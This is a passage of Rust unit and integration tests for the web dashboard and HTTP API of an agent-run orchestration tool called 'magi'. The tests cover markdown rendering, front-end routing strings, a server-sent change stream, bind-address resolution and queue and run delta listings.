13086 let proposal = |approach: &str| {
13087 serde_json::json!({
13088 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13089 })
13090 };
13091 state.advice = Some(
13092 serde_json::from_value(serde_json::json!({
13093 "records": [
13094 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13095 "proposal": proposal("do **this**")},
13096 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13097 ],
13098 "synthesis": "- one\n- **two**\n\n`code`",
13099 }))
13100 .unwrap(),
13101 );
13102 state.candidates = serde_json::from_value(serde_json::json!([
13103 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13104 "summary": "did **it**"},
13105 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13106 ]))
13107 .unwrap();
13108 state.reviews = serde_json::from_value(serde_json::json!([{
13111 "round": 1, "head": "h",
13112 "reviews": [{
13113 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13114 "findings": [
13115 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13116 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13117 ],
13118 }],
13119 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13120 "fix": {"agent": "a", "notes": "fixed **it**",
13121 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13122 }, {"round": 2, "head": "h2", "reviews": []}]))
13123 .unwrap();
13124
13125 let v = serde_json::to_value(RunDetailView::of(
13126 state,
13127 crate::run::Liveness::Unknown,
13128 None,
13129 None,
13130 None,
13131 ))
13132 .unwrap();
13133
13134 let strong = |p: &str| {
13135 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13136 assert!(n.to_string().contains("strong"), "{p}: {n}");
13137 };
13138 strong("/advice_md/synthesis");
13139 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13140 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13141 strong("/advice_md/approaches/0");
13142 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13143 strong("/candidate_summaries_md/0");
13144 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13145 strong("/reviews_md/0/reviewers/0/summary");
13146 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13147 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13148 assert!(f[1].to_string().contains("strong"));
13149 strong("/reviews_md/0/reconsideration/0");
13150 strong("/reviews_md/0/fix/notes");
13151 strong("/reviews_md/0/fix/rejected/0");
13152 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13153 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13154 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13156 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13157 }
13158
13159 #[test]
13160 fn a_run_without_advice_has_no_advice_md() {
13161 let state = RunState::new(
13162 std::path::PathBuf::from("/repo"),
13163 "main".to_owned(),
13164 "abc".to_owned(),
13165 "x".to_owned(),
13166 crate::config::Config::default(),
13167 );
13168 let p = run_prose_md(&state);
13169 assert!(p.advice_md.is_none());
13170 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13171 }
13172
13173 #[test]
13174 fn a_question_view_carries_markdown_for_each_thread_turn() {
13175 let home = TempDir::new().unwrap();
13176 let store = ask::Questions::at(home.path().join("questions"));
13177 let mut q = Question::new(
13178 "run".to_owned(),
13179 "implement".to_owned(),
13180 "impl-A".to_owned(),
13181 "which?".to_owned(),
13182 String::new(),
13183 Vec::new(),
13184 );
13185 q.say("plain words").unwrap();
13186 q.reply("use **this**", Vec::new()).unwrap();
13187 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13188 let bodies = &v["thread_bodies_md"];
13189 assert_eq!(bodies.as_array().unwrap().len(), 2);
13190 assert!(!bodies[0].to_string().contains("strong"));
13191 assert!(bodies[1].to_string().contains("strong"));
13192 }
13193
13194 #[test]
13195 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13196 let home = TempDir::new().unwrap();
13197 let store = ask::Questions::at(home.path().join("questions"));
13198 let mut q = Question::new(
13199 "run".to_owned(),
13200 "conduct".to_owned(),
13201 "conduct".to_owned(),
13202 "which?".to_owned(),
13203 String::new(),
13204 Vec::new(),
13205 );
13206 q.say("plain words").unwrap();
13207 q.thread.push(ask::Turn {
13208 who: ask::Who::Agent,
13209 body: "Settled as `merge`".to_owned(),
13210 at: jiff::Timestamp::now(),
13211 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13212 });
13213 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13214 let notes = &v["thread_notes_md"];
13215 assert_eq!(notes.as_array().unwrap().len(), 2);
13216 assert!(notes[0].is_null());
13217 let text = notes[1].to_string();
13218 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13219 assert!(APP_JS.contains("ask-turn-note"));
13220 }
13221
13222 #[test]
13223 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13224 assert!(APP_JS.contains("function landView(run, raw) {"));
13228 assert!(
13229 APP_JS.contains(
13230 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13231 )
13232 );
13233 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13234 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13235 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13236 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13237 }
13238
13239 #[test]
13240 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13241 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13242 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13243 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13244 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13245 }
13246
13247 #[test]
13248 fn review_rounds_label_a_distinct_verified_head() {
13249 assert!(APP_JS.contains("round.verified_head"));
13250 assert!(APP_JS.contains("verified HEAD"));
13251 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13252 }
13253
13254 #[test]
13255 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13256 assert!(APP_JS.contains("blocked: { glyph:"));
13260 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13261
13262 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13266 assert!(
13267 APP_JS.contains(
13268 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13269 ),
13270 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13271 );
13272 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13276
13277 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13281 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13282 assert!(
13283 APP_JS.contains("location.hash = \"#/questions\";"),
13284 "a question node must jump to the Questions screen, not pretend to be a task"
13285 );
13286
13287 assert!(APP_JS.contains("Resolved questions"));
13290 assert!(APP_JS.contains("r.answersList.append("));
13291 assert!(APP_CSS.contains(".task-answers"));
13292 {
13293 let start = APP_JS
13294 .find("function updateTalkTaskRow")
13295 .expect("updateTalkTaskRow");
13296 let body = &APP_JS[start..];
13297 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13298 assert!(
13299 body.contains(
13300 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13301 ),
13302 "a chat-filed task row must link to the task page"
13303 );
13304 assert!(
13305 !body.contains("#/runs/") && !body.contains("#/queue/"),
13306 "the row must not branch to a run or the queue card"
13307 );
13308 assert!(APP_CSS.contains(".talk-task-link"));
13309 }
13310 }
13311
13312 #[test]
13313 fn a_task_notification_links_to_the_task_page() {
13314 let start = APP_JS
13316 .find("function noticeLink(")
13317 .expect("noticeLink exists");
13318 let body = &APP_JS[start..];
13319 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13320 assert!(
13321 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13322 "a task notice's link must target the task page"
13323 );
13324 assert!(
13325 !body.contains("#/queue/"),
13326 "regression: the task link must not go back to the Backlog route"
13327 );
13328 assert!(
13329 APP_JS.contains(
13330 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13331 ),
13332 "`#/tasks/<id>` must parse into the task route"
13333 );
13334
13335 assert!(
13337 APP_JS.contains(
13338 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13339 ),
13340 "`#/queue/<id>` must parse into a route carrying that id"
13341 );
13342
13343 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13347 assert!(APP_JS.contains("function consumeQueueFocus()"));
13348 assert!(APP_JS.contains("jumpToTask(id)"));
13349 }
13350
13351 #[test]
13354 fn chat_rows_put_the_title_alone_on_the_first_line() {
13355 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13356 assert!(APP_CSS.contains(
13357 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13358 ));
13359 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13360 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13361 }
13362
13363 #[test]
13364 fn run_rows_put_the_title_alone_on_the_first_line() {
13365 assert!(
13366 APP_CSS.contains(
13367 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13368 )
13369 );
13370 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13371 assert!(APP_JS.contains("class: \"card run-card\""));
13372 assert!(APP_JS.contains("class: \"repo run-id\""));
13373 }
13374
13375 #[test]
13379 fn wide_screens_show_list_and_preview_side_by_side() {
13380 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13382 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13383 assert!(APP_CSS.contains("main[data-split]"));
13384 assert!(APP_CSS.contains("body[data-split]"));
13385
13386 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13388 assert!(
13389 APP_JS.contains(
13390 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13391 )
13392 );
13393 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13394 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13395 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13396
13397 assert!(APP_JS.contains("function markSelected() {"));
13399 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13400 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13401 assert!(
13403 APP_CSS.contains(
13404 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13405 )
13406 );
13407
13408 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13410 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13411 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13412 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13413
13414 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13418 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13419 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13420 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13421
13422 assert!(APP_JS.contains("sandbox: \"\""));
13424 assert!(!APP_JS.contains("sandbox: \"allow"));
13425 }
13426
13427 #[test]
13428 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13429 assert!(
13438 APP_JS.contains(
13439 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13440 ),
13441 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13442 recursive renderQueue() call has nothing left to jump to"
13443 );
13444 assert!(
13445 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13446 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13447 arrives later still gets it"
13448 );
13449 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13450 assert!(APP_JS.contains("is not in the current Backlog."));
13451 assert!(APP_JS.contains("li.card[data-task-id=\""));
13452 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13453 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13454 assert!(APP_CSS.contains(".card-permalink"));
13455 assert!(APP_CSS.contains(".queue-focus-status"));
13456 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13457 }
13458
13459 #[test]
13460 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13461 assert!(
13469 APP_JS.contains(
13470 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13471 ),
13472 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13473 );
13474 }
13475
13476 #[test]
13477 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13478 assert!(
13479 APP_JS.contains("round.verified_head !== round.head"),
13480 "a round that verified an earlier commit must be visibly distinct from one that \
13481 verified the head reviewers are looking at now"
13482 );
13483 assert!(
13484 APP_JS.contains("round.verified_at"),
13485 "when a check ran must be on the wire, not just which commit"
13486 );
13487 assert!(
13488 APP_JS.contains("resource_blocked"),
13489 "a command magi never got to run (shared build cache contention) must not render \
13490 the same as a command that ran and failed"
13491 );
13492 }
13493
13494 #[test]
13495 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13496 assert!(
13504 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13505 "every KPI tile built through statusTile() must route its click through \
13506 openRunsFiltered, the single place that sets the Runs filter"
13507 );
13508 for (label, status) in [
13509 ("Merged", "merged"),
13510 ("Ready", "ready"),
13511 ("Blocked", "blocked"),
13512 ("Stalled", "stalled"),
13513 ] {
13514 let call = format!("statusTile(\"{label}\", t.{status}, ");
13515 assert!(
13516 APP_JS.contains(&call),
13517 "expected the {label} KPI tile built via {call}..."
13518 );
13519 assert!(
13520 APP_JS.contains(&format!("status === \"{status}\"")),
13521 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13522 compare a run against, not one invented only for the stats tile"
13523 );
13524 }
13525 assert!(
13526 APP_JS.contains("function openRunsFiltered(status)"),
13527 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13528 );
13529 assert!(
13530 APP_JS.contains(
13531 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13532 ),
13533 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13534 );
13535 assert!(
13543 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13544 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13545 hashchange event that may never fire"
13546 );
13547 }
13548
13549 #[test]
13550 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13551 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13557 assert!(
13558 APP_JS.contains(
13559 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13560 ),
13561 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13562 guard for an incompatible tree section"
13563 );
13564 }
13565
13566 #[test]
13567 fn every_stats_queue_tile_names_a_real_queue_section() {
13568 assert!(
13574 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13575 "every queue tile built through sectionTile() must route its click through \
13576 openQueueSectionFocus"
13577 );
13578 for key in ["upnext", "running", "done", "held", "blocked"] {
13579 assert!(
13580 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13581 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13582 );
13583 }
13584 for line in [
13588 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13589 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13590 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13591 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13592 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13593 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13594 ] {
13595 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13596 }
13597 }
13598
13599 #[test]
13600 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13601 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13608 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13609 assert!(APP_JS.contains("function revealQueueSection(details)"));
13610 assert!(
13611 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13612 "renderQueue() must consume both focus channels on every pass"
13613 );
13614 assert!(
13615 APP_JS.contains(
13616 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13617 ),
13618 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13619 the recursive renderQueue() call has nothing left to reveal"
13620 );
13621 assert!(
13622 APP_JS.contains(
13623 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13624 ),
13625 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13626 );
13627 assert!(
13635 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13636 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13637 hashchange event that may never fire"
13638 );
13639 }
13640
13641 #[tokio::test]
13642 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13643 let f = Fixture::start().await;
13644
13645 let mut socket = tokio::net::TcpStream::connect(f.addr)
13646 .await
13647 .expect("connect");
13648 socket
13649 .write_all(
13650 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13651 )
13652 .await
13653 .expect("write request");
13654
13655 let mut seen = String::new();
13658 let mut buf = [0u8; 1024];
13659 while !seen.contains("event: change") {
13660 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13661 .await
13662 .expect("the stream must speak within five seconds")
13663 .expect("read");
13664 assert!(read > 0, "the server closed the change stream: {seen}");
13665 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13666 }
13667
13668 assert!(
13669 seen.to_lowercase()
13670 .contains("content-type: text/event-stream"),
13671 "the browser only reconnects automatically for a real SSE stream: {seen}"
13672 );
13673 let data = seen
13674 .lines()
13675 .find_map(|l| l.strip_prefix("data:"))
13676 .expect("a data line");
13677 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13678 assert!(
13679 payload["queue_rev"].is_u64()
13680 && payload["runs_rev"].is_u64()
13681 && payload["questions_rev"].is_u64()
13682 && payload["talks_rev"].is_u64()
13683 && payload["notifications_rev"].is_u64()
13684 && payload["loop_rev"].is_u64(),
13685 "the client needs one revision per store to know what to refetch, \
13686 and `talks_rev` is the only notification a standing talk gets - a \
13687 phone whose radio slept through a turn learns about it here, as \
13688 does one whose operator started the loop from another device: \
13689 {payload}"
13690 );
13691
13692 let health = f.get("/api/health").await.json();
13699 for key in [
13700 "queue_rev",
13701 "runs_rev",
13702 "questions_rev",
13703 "talks_rev",
13704 "notifications_rev",
13705 "loop_rev",
13706 ] {
13707 assert!(
13708 health[key].is_u64(),
13709 "health is the change stream's fallback and is missing `{key}`: {health}"
13710 );
13711 }
13712 }
13713
13714 #[tokio::test]
13715 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13716 let f = Fixture::start().await;
13717 let before = f.get("/api/health").await.json()["talks_rev"]
13718 .as_u64()
13719 .expect("talks_rev");
13720
13721 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13722 std::thread::sleep(Duration::from_millis(10));
13723 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13724 on_disk.turns.push(crate::talk::Turn {
13725 breaks: Some(Vec::new()),
13726 who: crate::talk::Who::Operator,
13727 body: "a new turn".to_owned(),
13728 at: Timestamp::now(),
13729 attachments: Vec::new(),
13730 usage: None,
13731 });
13732 f.talks().put(&mut on_disk).expect("record a turn");
13733
13734 let after = f.get("/api/health").await.json()["talks_rev"]
13735 .as_u64()
13736 .expect("talks_rev");
13737 assert_ne!(
13738 before, after,
13739 "a phone must be able to notice a talk's reply without polling every store"
13740 );
13741 }
13742
13743 #[test]
13744 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13745 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13749 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13750 }
13751 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13752 assert!("everywhere".parse::<Bind>().is_err());
13753 }
13754
13755 #[test]
13756 fn an_explicit_bind_address_is_taken_verbatim() {
13757 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13758
13759 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13760
13761 assert_eq!(addr, asked);
13762 assert!(
13763 warning.is_none(),
13764 "an operator who named an address gets no lecture"
13765 );
13766 }
13767
13768 #[test]
13769 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13770 let (addr, warning) = resolve_bind(&Bind::Auto);
13771
13772 match addr {
13779 IpAddr::V4(ip) if is_tailnet(&ip) => {
13780 assert!(warning.is_none(), "a tailnet address needs no warning");
13781 }
13782 other => {
13783 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13784 let warning = warning.expect("a fallback has to explain itself");
13785 assert!(
13786 warning.contains("127.0.0.1") && warning.contains("local-only"),
13787 "the warning says what happened and what it costs: {warning}"
13788 );
13789 }
13790 }
13791 }
13792
13793 #[test]
13794 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13795 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13799 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13800 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13801 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13802 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13803 }
13804
13805 #[test]
13806 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13807 let ids = vec![
13808 "20260902-140501-aaaa".to_owned(),
13809 "20260902-140502-aabb".to_owned(),
13810 ];
13811
13812 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13813 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13814 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13815
13816 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13817 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13818 assert_eq!(short, "20260902-140502-aabb");
13819 }
13820 #[tokio::test]
13821 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13822 let fx = Fixture::start().await;
13828 let id = panel(
13829 &fx,
13830 "<img src=\"shot.png\">",
13831 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13832 );
13833
13834 let doc = fx
13836 .get(&format!("/api/questions/{id}/panel/index.html"))
13837 .await;
13838 assert_eq!(doc.status, 200, "{}", doc.body);
13839 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13840
13841 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13842 assert_eq!(sibling.status, 200, "{}", sibling.body);
13843 assert_eq!(sibling.header("content-type"), Some("image/png"));
13844 assert_eq!(
13845 sibling.header("content-security-policy"),
13846 Some(PANEL_CSP),
13847 "the sibling route must carry the same policy as the asset route"
13848 );
13849
13850 assert_eq!(
13853 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13854 200
13855 );
13856 }
13857
13858 #[test]
13859 fn delta_stamps_cover_add_update_remove_and_noop() {
13860 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13861 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13862 let delta = diff_stamps(&before, &after, 42);
13863 assert_eq!(delta.base, 42);
13864 assert_eq!(delta.changed, ["b", "c"]);
13865 assert_eq!(delta.removed, ["a"]);
13866 let same = diff_stamps(&after, &after, 43);
13867 assert!(same.changed.is_empty() && same.removed.is_empty());
13868 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13869 let nanos: Stamps = [("b".into(), (2, 20))].into();
13870 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13871 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13872 assert_eq!(stamps_revision(&Stamps::new()), 0);
13873 }
13874
13875 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13876 std::fs::create_dir_all(home.join("runs")).unwrap();
13877 Arc::new(Ui::new(
13878 Queue::at(home.join("queue")),
13879 Questions::at(home.join("questions")),
13880 Talks::at(home.join("talks")),
13881 home.join("runs"),
13882 home.to_owned(),
13883 PathBuf::from("/repo/magi"),
13884 ))
13885 }
13886
13887 #[tokio::test]
13888 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13889 let home = TempDir::new().unwrap();
13890 let ui = delta_test_ui(home.path());
13891 let mut task = Task::new(
13892 "stream task".into(),
13893 "text".into(),
13894 PathBuf::from("/repo"),
13895 Source::Human,
13896 );
13897 ui.queue.put(&mut task).unwrap();
13898 let response = events(State(ui.clone())).await.into_response();
13899 let mut stream = response.into_body().into_data_stream();
13900 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13901 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13902 .await
13903 .unwrap()
13904 .unwrap()
13905 .unwrap();
13906 let text = String::from_utf8(chunk.to_vec()).unwrap();
13907 let data = text
13908 .lines()
13909 .find_map(|line| {
13910 line.strip_prefix("data: ")
13911 .or_else(|| line.strip_prefix("data:"))
13912 })
13913 .unwrap();
13914 serde_json::from_str(data).unwrap()
13915 }
13916 let initial = change(&mut stream).await;
13917 assert!(initial.get("queue_delta").is_none());
13918 task.instruction.push_str(" changed");
13919 ui.queue.put(&mut task).unwrap();
13920 let updated = change(&mut stream).await;
13921 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13922 assert_eq!(
13923 updated["queue_delta"]["changed"],
13924 serde_json::json!([task.id])
13925 );
13926 assert_eq!(
13927 updated["queue_rev"].as_u64(),
13928 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13929 );
13930 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13931 let removed = change(&mut stream).await;
13932 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13933 assert_eq!(
13934 removed["queue_delta"]["removed"],
13935 serde_json::json!([task.id])
13936 );
13937 }
13938
13939 #[tokio::test]
13940 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13941 let home = TempDir::new().unwrap();
13942 let ui = delta_test_ui(home.path());
13943 let queue = ui.queue.clone();
13944 let query = |ids: Option<&str>| {
13945 Query(ListQuery {
13946 limit: Some(2),
13947 ids: ids.map(str::to_owned),
13948 })
13949 };
13950 let mut root = Task::new(
13951 "root".into(),
13952 "instruction".into(),
13953 PathBuf::from("/repo"),
13954 Source::Human,
13955 );
13956 queue.put(&mut root).unwrap();
13957 let mut blocked = Task::new(
13958 "blocked".into(),
13959 "instruction".into(),
13960 PathBuf::from("/repo"),
13961 Source::Human,
13962 );
13963 blocked.block(vec![root.id.clone()], None);
13964 queue.put(&mut blocked).unwrap();
13965 let whole =
13966 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13967 .unwrap();
13968 let subset = serde_json::to_value(
13969 queue_list(State(ui.clone()), query(Some(&root.id)))
13970 .await
13971 .unwrap()
13972 .0,
13973 )
13974 .unwrap();
13975 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13976 let blockers = serde_json::to_value(
13977 queue_list(State(ui.clone()), query(Some("")))
13978 .await
13979 .unwrap()
13980 .0,
13981 )
13982 .unwrap();
13983 assert_eq!(blockers.as_array().unwrap().len(), 1);
13984 assert_eq!(blockers[0]["id"], blocked.id);
13985 assert_eq!(
13986 blockers[0]["waits_on"],
13987 whole
13988 .as_array()
13989 .unwrap()
13990 .iter()
13991 .find(|row| row["id"] == blocked.id)
13992 .unwrap()["waits_on"]
13993 );
13994
13995 for id in [
13996 "20260902-140501-aaaa",
13997 "20260902-140502-bbbb",
13998 "20260902-140503-cccc",
13999 ] {
14000 write_run(&ui.runs, id, RunStatus::Merged);
14001 }
14002 let old = serde_json::to_value(
14003 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14004 .await
14005 .unwrap()
14006 .0,
14007 )
14008 .unwrap();
14009 assert!(
14010 old.as_array().unwrap().is_empty(),
14011 "older updates must not enter the window"
14012 );
14013 let newest = serde_json::to_value(
14014 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14015 .await
14016 .unwrap()
14017 .0,
14018 )
14019 .unwrap();
14020 assert_eq!(newest.as_array().unwrap().len(), 1);
14021 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14022
14023 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
